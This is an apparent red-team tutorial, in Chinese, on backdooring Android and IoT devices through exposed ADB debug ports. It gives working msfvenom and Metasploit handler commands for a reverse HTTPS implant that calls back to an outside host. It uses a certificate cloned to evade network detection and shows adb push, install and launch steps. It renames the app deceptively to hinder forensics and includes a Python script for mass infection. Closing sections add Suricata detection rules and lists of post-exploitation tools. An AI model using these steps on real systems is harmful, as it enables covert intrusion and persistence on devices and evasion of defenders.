目录
ADB远程调试接口的攻击面引入来源主要是企业内部移动端或IOT研发的调试需求,或者某些第三方厂商交付的IOT产品没有关闭ADB功能。由于这些设备往往在资产视野范围之外,而且设备上也常没有EDR/HIDS之类的Agent,所以对于红队来说,内网拿下几台IOT设备的驻点,可能会造成蓝队的溯源和取证障碍。
一、生成Implant
配置meterpreter通讯证书,目的防止默认证书被NTA产品检测。
1、克隆证书
msf6> use auxiliary/gather/impersonate_ssl msf6 auxiliary(gather/impersonate_ssl) > set rhost www.baidu.com msf6 auxiliary(gather/impersonate_ssl) > run
得到证书:/root/.msf4/loot/20210810024302_default_14.215.177.38_14.215.177.38_pe_633705.pem
2、启动监听server
msf6 auxiliary(gather/impersonate_ssl) > use multi/handler # 设置payload msf6 exploit(multi/handler) > set payload payload/android/meterpreter/reverse_https # 设置监听地址,必须是公网地址,不能是0.0.0.0 msf6 exploit(multi/handler) > set LHOST 1.1.1.1 # 设置监听端口 msf6 exploit(multi/handler) > set LPORT 8443 # 设置HTTPS证书 msf6 exploit(multi/handler) > set HandlerSSLCert /root/.msf4/loot/20210810024302_default_14.215.177.38_14.215.177.38_pe_633705.pem msf6 exploit(multi/handler) > set StagerVerifySSLCert false # 可以在接收到seesion后继续监听端口,保持侦听 msf6 exploit(multi/handler) > set ExitOnSession false # 默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死。实测设置为0会导致beacon异常退出! msf6 exploit(multi/handler) > set SessionCommunicationTimeout 999999999 # 默认情况下,一个星期(604800秒)后,会话将被强制关闭 msf6 exploit(multi/handler) > set SessionExpirationTimeout 999999999 # 启动后台监听 msf6 exploit(multi/handler) > exploit -j -z
3、生成APK后门
$./msfvenom -p android/meterpreter/reverse_https LHOST=1.1.1.1 LPORT=8443 HandlerSSLCert="/root/.msf4/loot/20210810024302_default_14.215.177.38_14.215.177.38_pe_633705.pem" PayloadUUIDTracking=true PayloadUUIDName=AndroidBeacon StagerVerifySSLCert=false >/root/1.apk
4、自签名APK
$keytool -keystore cert.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 123.com -dname "CN=(aaa), OU=(bbb), O=(HDS), L=(New York), ST=(New York), C=(US)" $apksigner sign --ks cert.store --ks-key-alias 123.com 1.apk
至此,一个APK后门创建完成,和C2的通讯流量可绕过NTA检测。
二、ADB植入后门
# 连接到ADB调试接口 $adb connect 192.168.1.10 # 上传APK $adb -s 192.168.1.10:5555 push 1.apk /sdcard/1.apk # 安装APK $adb -s 192.168.1.10:5555 shell pm install -g /sdcard/1.apk # 运行APK $adb -s 192.168.1.10:5555 shell am start --user 0 com.metasploit.stage/.MainActivity
如果没意外,受害设备应该就上线了,整个利用过程很简单。
三、修改Metasploit后门默认特征
由于ADB协议是明文传输,在远程启动Metasploit后门时,流量上的命令特征过于明显,很容易被NTA设备监控到,而且代码中的某些硬编码字符也会让蓝队取证变的异常容易,因此在企业内部的真实红蓝对抗场景下,红队在使用这个后门前需要对特征加以修改,具体步骤可参考如下。
1、解压APK安装包
使用apktool工具,将Metasploit初步生成的1.apk解压到qqq目录中,命令如下:
$ apktool d 1.apk -o qqq -f
2、修改硬编码特征
1)AndroidManifest.xml文件
第1处为Java包路径,可以随意修改,例如改为『net.weizn.test』,但此处修改后,也要修改对应的目录名:
第2处例如可改为『weizn』。
2)修改包路径
在每个smali文件中,都需要修改包引用路径,例如将『com/metasploit/stage』改为『net/weizn/test』。
可借助命令完成批量修改:
$ sed -i "s/com\/metasploit\/stage/net\/weizn\/test/g" `grep com/metasploit/stage -rl ./`
3)修改APP名称
所需修改的对应文件路径为『./qqq/res/values/strings.xml』,默认后门安装后的名称为『MainActivity』,当然可以自定义一些具有迷惑性的名字,甚至用中文命名,例如『系统安装包管理器』。
3、重新打包为APK
至此,较为明显的硬编码特征就已修改完毕,继续使用apktool工具,将修改好的qqq目录打包为APK文件:
$ apktool b qqq/ -o 2.apk
因为我们修改了打包路径,因此在远程启动新的APK应用时,要写新路径:
# 运行APK $ adb -s 192.168.1.10:5555 shell am start --user 0 net.weizn.test/.MainActivity
4、重签名APK
最后,借助『Android逆向助手』对打包好的APK进行重签名:
四、批量利用
由于每个利用步骤都可借助adb工具命令化完成,仅需写一个简单的脚本将命令串联起来即可完成批量利用和检测,可依此评估企业内未收敛的ADB调试接口的影响范围:
#!/usr/bin/env python # -*- coding: utf-8 -*- import os targetFile = open("targets.txt", "rt") targetList = targetFile.readlines() targetFile.close() for target in targetList: target = target.strip("\n") print("Attacking target %s" % target) # connect os.system("adb connect %s" % target) # kill process os.system("adb -s %s:5555 shell am force-stop com.metasploit.stage" % target) # uninstall package os.system("adb -s %s:5555 shell pm uninstall com.metasploit.stage" % target) # rm apk os.system("adb -s %s:5555 rm /sdcard/1.apk" % target) # push apk os.system("adb -s %s:5555 push 1.apk /sdcard/1.apk" % target) # install apk os.system("adb -s %s:5555 shell pm install -g /sdcard/1.apk" % target) os.system("adb -s %s:5555 shell pm install /sdcard/1.apk" % target) # run apk os.system("adb -s %s:5555 shell am start --user 0 com.metasploit.stage/.MainActivity" % target) print("\n------------------------------------------------------")
五、入侵检测与防御
对应的防御方式无非推动有问题的设备关闭ADB,网络层ACL默认deny全网5555端口访问,只按需开通,以及定时的全网扫描等等。再说说检测方面:
1、流量强特征
如果C2通讯未使用HTTPS协议,而使用明文的TCP协议,可以通过Suricata监控默认流量特征,此处监控的是stage下载完整的payload阶段:
alert tcp any any -> $HOME_NET any (msg:"Metasploit Framework - Android Meterpreter APK - Inbound"; flow:established,to_client; content:"androidpayload.stage.Meterpreter"; fast_pattern:8,20; content:"META-INF/MANIFEST.MF"; distance:0; content:"classes.dex"; distance:0; priority:1; rev:3; sid:20054911;)
如果C2通讯使用了HTTPS协议,但是未配置自签证书,可以监控metasploit的默认证书,由于默认证书较多,此处只写一个例子:
alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ETPRO ATTACK_RESPONSE Metasploit Meterpreter Reverse HTTPS Certificate Observed M19"; flow:established,to_client; tls_cert_subject; content:"C=US, ST="; content:", O="; distance:0; content:"OU=driver, CN="; distance:0; content:"/emailAddress=driver@"; distance:0; fast_pattern; classtype:trojan-activity; sid:2837372; rev:1; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, deployment Internet, deployment Internal, deployment Datacenter, tag Metasploit, signature_severity Major, created_at 2019_07_09, performance_impact Low, updated_at 2019_07_09;)
通过ADB远程启动APK阶段,如果未修改APK包路径,可以监控命令行特征:
alert tcp any any -> any 5555 (msg:"SC Android ADB Remote Start Metasploit Backdoor"; flow:to_server,established; pcre:"/.*start.*com\.metasploit.*/i"; sid:7700294; rev:1;)
2、异常行为
攻击者可能批量植入APK后门以拿下内网较多的驻点,但除了某些移动端研发人员可能需要批量安装调试,出现的其它情况都属于需要监控的异常行为,例如批量远程执行命令,批量安装APK,和批量启动APK等等。此处举例一个通过ADB远程批量启动APK的监控模型,基于Suricata引擎 + CEP引擎实现级联分析。
分析ADB协议远程执行命令的原始报文,为可打印的text格式:
shell,v2,TERM=screen,raw:am start --user 0 com.android.rule.test/.MainActivity.
监控远程命令执行的对应Suricata规则为:
alert tcp any any -> any 5555 (msg:"SC Android ADB Remote Start APK"; flow:to_server,established; pcre:"/^shell(,|:).*am\s.*start\s.*/i"; sid:7700295; rev:3;)
如果远程启动APK的目的设备超过2个就告警,这个值可以按照实际情况调整,CEP引擎的级联表达式为:
# 通过Android_ADB调试接口大范围远程启动APK epl: ' @name("通过Android_ADB调试接口大范围远程启动APK_创建窗口") @public create window aaacdcf517915e81_suricata#time(10 min) as select * from SuricataAlerts; @name("通过Android_ADB调试接口大范围远程启动APK_写入缓存数据") insert into aaacdcf517915e81_suricata select * from SuricataAlerts where alert_signature = "SC Android ADB Remote Start APK" ; @name("通过Android_ADB调试接口大范围远程启动APK_执行查询") on pattern[every timer:interval(30 sec)] select attacker_ip, count(distinct victim_ip) as diff_cnt from aaacdcf517915e81_suricata where alert_signature = "SC Android ADB Remote Start APK" group by attacker_ip having count(distinct victim_ip) >= 2; '
最后加白内网中正常的业务需求,可达到无误报程度,告警示例:
六、后渗透阶段中的工具
由于Android架构多为aarch64,能在上面运行的工具屈指可数:
NMAP扫描器:https://github.com/kost/nmap-android/releases
busybox:https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/
其他的一些小工具可能需要自研,但通过C写后经过NDK编译的开发效率实属低下,由于Android中存在dalvik虚拟机,因此可以在PC上写好Java代码后,打包为jar文件,再用dx工具将jar文件转换为dalvik虚拟机可运行的dex文件,也算是为自研Android上可运行的工具提供了一种路径。
其中dx工具包含在Android Build Tools中:https://developer.android.com/studio/releases/build-tools
# dx将jar包转换为dex文件 $ dx --dex --output=out.dex ./android.jar